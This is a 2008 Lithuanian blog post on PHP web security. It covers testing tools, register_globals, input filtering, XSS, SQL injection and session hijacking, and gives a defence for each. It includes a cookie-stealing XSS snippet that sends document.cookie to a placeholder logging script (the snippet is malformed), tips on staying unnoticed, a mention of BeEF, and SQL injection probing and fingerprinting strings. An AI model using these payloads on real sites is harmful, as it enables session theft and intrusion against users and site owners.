m2 blogas

2008 m. gruodžio 18 d. | Aurimas
Aurimas

Įrankiai

 

  Pradžioje paminėsiu įrankius, kuriuos naudojome:

  • cURL - įrankis skirtas siųsti duomenis, naudojant web protokolus, per komandinę eilutę. Dabar žinau, kodėl panaudojus f-ją header('Localtion: url') reikia pabaigoje panaudoti komandą exit. Tiems, kurie lygiai kaip ir aš nežinojo, pasakysiu, kad cURL neseka paskui redirect'us (nukeipimus), nebent kitaip nurodyta, todėl jis parodo visą toliau einantį kodą :)
  • Firefox priedas: "Tamper data" - įrankis skirtas keisti post'o, sesijos duomenis (na bent jau tiek išmokau).
  • Firefox priedas: XSS Me. Cross-site scripting atakų generavimas. Praktikoje šio įrankio išbandyti neteko, bet tikiuose artimiausioje ateityje pavyks :)
  • Firefox priedas: SQL Inject Me. SQL injekcijų generavimui skirtas įrankis. Apie SQL injekcijas kalbėjome, taip pat ir praktiškai žinias pritaikėme, tačiau šio įrankio mums neprireikė.
  • Tuo pačiu paminėsiu kitus įrankius, kurių nenaudojome, bet kiekvienam web programuotojui jie yra būtini.
  • Firefox priedas: Firebug. HTML, CSS redagavimas realiuoju momentu, JS debug'inimas.
  • Firefox priedas: Web developer. Nemažai naudingų įrankių vienoje vietoje. Pats dažniausiai naudoju puslapio validavimo įrankius (HTML ir CSS) bei realiuoju momentu (po JS veiksmų) sugeneruotą puslapio kodą.

Robots.txt

 

  Robots.txt faile yra aprašomos direktorijos, kurių robotai neturėtų indeksuoti (nuorodų į jas taip pat). Todėl, dažniausiai programuotojai į robots.txt failą įrašo administravimo panelės direktorijos pavadinimą. Nuo to programišiai savo atakas dažniausiai ir pradeda. Tačiau, ši spraga, jei ją taip galima pavadinti, yra jau senai žinoma, todėl aš apie ją daugiau ir nerašysiu. Geriausia apsauga nuo tokios spragos - padaryti spąstų direktoriją, t.y. sukurti nuo puslapio nepriklausomą sistemą, kuri atrodytų kaip prisijungimas prie admin direktorijos ir įrašyti tą direktoriją į robots.txt. Taip programišius kurį laiką turės ką veikti, o jūs galėsite rinkti informaciją apie tai, kokiomos saugumo spragomis jis bando pasinaudoti.

 

Failo įvedimas

 

  Kita, dažnai pasitaikanti problema yra failo įterpimas per <input type="file" /> lauką. Dėstytojas sakė, kad dauguma programuotojų failo dydį bando limituoti paslėptu lauku: <input type="hidden" name="MAX_FILE_SIZE" VALUE="failo_dydis_KB" />. Tai gerai dėl to, kad iš naršyklės iš karto neleidžia įkelti failo. Tačiau vargu ar tai yra apsisaugojimo priemonė, nes su tuo pačiu "tamper data" įrankiu galima pakeisti lauko reikšmę ir įkelinėti filmus :) Neseniai Lietuvos php konferencijoje buvo panaši diskusija. Daugiau pasiskaityti galima čia.

 

Input

 

  Visose saugumo prezentacijose, knygose yra akcentuojama, kad reikia filtruoti visą, iš vartotojo gaunamą informaciją. Tie, kas viską žino, šį paragrafą gali praleisti, o kiti skaitykite toliau :)
  Kalbėdamas apie visą vartotojo įvedama srautą, turėjau omeny: $_GET, $_POST, $_SERVER, $_COOKIES kintamuosius. Siūlau visada šiuose kintamuosiuose tikėtis kritinės informacijos, kurį gali sugadinti jūsų sistemą. Ko galima tikėtis ir apie prevenciją, parašysiu truputį vėliau ;). Kai kas gal pasigedo $_REQUEST kintamojo, bet jo primygtinai siūlau nenaudoti. Kodėl? Todėl, kad $_REQUEST['username'] nepasako iš kur šis kintamasis buvo gautas. Jis gali būti perduotas tiek per $_POST, tiek per $_GET.
  Tie, kurie bent šiek tiek domisi PHP saugumu, tikriausiai ne kartą yra perskaitę, jog PHP nustatymą register_globals patartina visad išjungti. Ką jis daro? Panalizuokime kodo fragmentą:

 

<?php

     if ($isRegistred) {

       // registruoto vartotojo parametrai

     }

?>

 

   Jei register_globals parametras bus įjungtas, tai aukščiau parašytas kodo fragmentas gali būti apeitas URL'e įrašius: http://url/kelias?isRegistred=true. Tikiuosi grėsmė aiški, kam dar trūksta info, tai:

  • pixel.lt - lietuviškas straipsnis apie PHP saugumą, kuriame aprašoma ir register_globals problema.
  • php.net - kas geriau žino savo klaidas, jei ne PHP kūrėjai :)

  Tai yra pagrindinės problemos, ateinančios per formas ir url adresus (SQL mėgėjai, luktelkit). Įrašas netektų prasmės, jei nepaminėčiau, kaip nuo viso to apsisaugoti. Išskirsiu kelis būdus.

  Gaunamos reikšmės tipo nustatymas (cast'inimas). Tarkime, jei tikitės, kad url ar formos parametras turėtų būti sveikasis skaičius, tada prie kintamojo pravartu nurodyti jo tipą. Pvz. $id = (int)$_GET['int'];    

  White ir black list'ai. Galimų reikšmių apibrėžimas. Black list - neleidžiamų reikšmių masyvo sudarymas ir tikrinimas ar gauta reikšmė nepatenka į šį sąrašą. Šio būdo siūlau nenaudoti, nes vargu ar apibrėšite visus galimus pavojus. White list - galimų reikšmių apibrėžimas. Jei yra žinomos reikšmės, kurios gali būti gautos iš vartotojo, pvz. formose select lauko tipas, jas galima iš anksto apsibrėžti. Po to reikės tik patikrinti, ar gauta reikšmė yra masyve ar ne.

  Aš, asmeniškai, naudoju cast ir white list apsaugas apjungtas kartu :) Jei manote, kad mano variantas yra blogas - komentarai tam ir skirti, kad kritikuotumėte ;)

 

XSS (Cross-site scripting)

 

  Kad įrašas nebūtų per daug ilgas, kas yra XSS nerašysiu. Apie tai galite pasiskaityti wikipedia.org puslapyje :)
  Panaudojimas: Cookies vagytė, puslapio turinio keitimas (deface) ir kompiuterio pavertimas zombiu (bent jau kol reikiamas psl. atidarytas :)). Cookie'o vagystė yra pakankamai nesunkiai realizuojama. Elementarus kodo įterpimas komentare:

 

<script type="text/javascript">

  <img src="http://url/img.php?cookie=encodeURI(document.cookie) />

</script>

  Dar galima pridėti ir domain loginimą. O img.php faile tereikia viską loginti. Jei img.php dar grąžins kokį nors img, tai ilgą laiką būsite nepastebėti :)
  Puslapio turinio keitimas vyksta pasinaudojant JavaScript (JS) funkcijomis, pvz. document.getElementById(id). Galima parašyti skriptą, kuris vartotojo prašys įvesti kokią nors "jautrią" informaciją (prisijungimo vardą, slaptažodį) ir ją perduoti į savo skriptą (kuris viską log'intų).
  Trečias ir pakankamai intriguojantis būdas - kompiuterio pavertimas zombiu. Yra įrankis "Beef". Į savo puslapį įterpus "Beef" skriptą, jis bando nulaužti vartotojus, esančius jūsų puslapyje. O jūs tuo metu prisijungiate prie "Beef" adminitravimo panelės ir laukiate pirmųjų zombių :)
  Apsisaugojimas - įvedamų duomenų filtravimas: htmlspecialchars(), strip_tags(), htmlentities() funkcijomis.

 

SQL injekcija

 

  Kaip ir paragrafe apie XSS, per daug didelių intro nedarysiu, tiesiog pereisiu prie laužymo ir saugumo :) Papraščiausias būdas aptikti. Tarkima yra toks url: http://url/index.php?id=70. Jei, įvedus http://url/index.php?id=71-1 atvaizduojamas tas pats turinys, o įvedus http://url/index.php?id=70-1 jau kitas, tai reiškia, kad turim SQL injekciją :) Panaudojimo galimybės yra pakankamai nemažos - nuo vartotojų prisijungimo vardų ir slaptažodžių gavimo, iki informacijos sunaikinimo.
  Aptikus SQL injekciją, ne visada pavyksta nustatyti koks tai SQL (mySQL, msSQL, ORACLE). Tai galima padaryti pasinaudojant "Akla injekcija". Visos šios SQL palaiko CONCAT f-ją, tačiau kiekvienos funkcijos aprašymas yra kitoks. Tai ir padės mums nustatyti SQL. Pvz.:

  • MS SQL: %2F
  • mySQL: CONCAT('a', 'a')
  • ORACLE: ||

  Jei nors vienas iš šių variantų negrąžino klaidos - tai ir yra web aplikacijoje naudojamas SQL :)
  Apsisaugojimas. Geriausias apsisaugojimas - paruošti sakiniai (prepared statements). Tiems, kurie negali naudoti - mysql_real_escape_string.

 

Sesijos

 

  Serverio pusėje saugoma informacija. Su vartotoju susieta per sesijos id (saugomą sausainėlyje (cookie)). Sesijose dažniausiai saugoma "jautrausia" vartotojo informacija. Pasinaudojus XSS ataka ir pavogus sesijos id, galima pavogti vartotojo duomenis, apsimesti kitu vartotoju. Taip pat galima bandyti generuoti sesijos id ir tikėtis jį atspėti - kas yra sunkiai tikėtina :)
  Apsisaugojimas. Dažnas sesijos id pergeneravimas, cookie galiojimo datų naudojimas (kuo trumpiau bus saugojamas serveryje, tuo mažesnė tikimybė, kad bus atspėtas sesjos id). Aš naudoju dažną sesijos id pergeneravimą, sesijos id ir vartotojo id saugojimą duomenų bazėje.

 

Epilogas

 

  Įrašas gavosi ilgas, tačiau tikrai parašiau ne viską, ką norėjau (trūko įžangų, kodo pavyzdžių), tačiau nenorėjau per daug išsiplėsti, nes tada vargu ar kas nuo pradžios iki galo perskaitys :) Jei pastebėjote, tai su kiekvienu tolimesniu paragrafu, jo (paragrafo) ilgis mažėjo. Taip atsitiko todėl, kad straipsnį norėjau pabaigti vienu prisėdimu. Deja, straipsnis buvo pradėtas rašyti prieš du mėnesius ir pabaigtas tik šiandien :)

 

P.S.

 

  Labai laukiu pastabų ir komentarų. Gal ką praleidau ar kas pasirodė neišbaigta. Jei komentaruose užvirs diskusija, tai parašysiu dar vieną straipsnį ir pratęsiu temą apie saugumą :)

.


Rašyti komentarą

Art | 2008 m. gruodžio 18 d. 16:55
Manau verta pasiskaityti ne tik pradedantiesiems. Būtų šaunu, jeigu įdėtum pavyzdėlių ;)
Aurimas | 2008 m. gruodžio 19 d. 14:42
O kokių pavydžių norėtum? :) Įraše paminėta gana nemažai temų, apie kurias būtų galima dar daug rašyti. Todėl prie kiekvieno paragrafo pridėti pavyzdžių užtruktų nemažai laiko, o ir straipsnis taptų gigantiškas. Sukonkretink temą (-as), apie kurias norėtum daugiau paskaityti - pasistengsiu apie jas parašyti detaliau ir su kodo pavyzdžiais.
Tadukau | 2008 m. gruodžio 22 d. 15:50
Vertinga info :)
Ekspertas | 2009 m. sausio 29 d. 23:26
Chebra, per retai postinat. Reikejo pasidomet, pagalvot pries uzvedant bloga - turetumt zinot, kad 1 posto i menesi per mazai - nerimtai atrodot dabar. Taigi.. patariu taisytis arba kilinti reikala. Rimtai. Su pagarba ir nuosirdziais linkejimais:)
Naujausi komentarai
  • 2009 m. lapkričio 20 d. 10:27
    Stepas Ačiū už info ;)
  • 2009 m. spalio 4 d. 13:18
    Audrius O kurioj vietoj laikeisi sertifikata?
  • 2009 m. rugpjūčio 25 d. 18:42
    Darius Didžiausi sveikinimai Janui!
  • 2009 m. liepos 17 d. 09:02
    Julius My personal favorite yra lambda funkcijos. :)
  • 2009 m. liepos 5 d. 23:22
    aur1mas Perskaitęs antraštę tikėjausi šiokio tokio naujovių apžvelgimo,...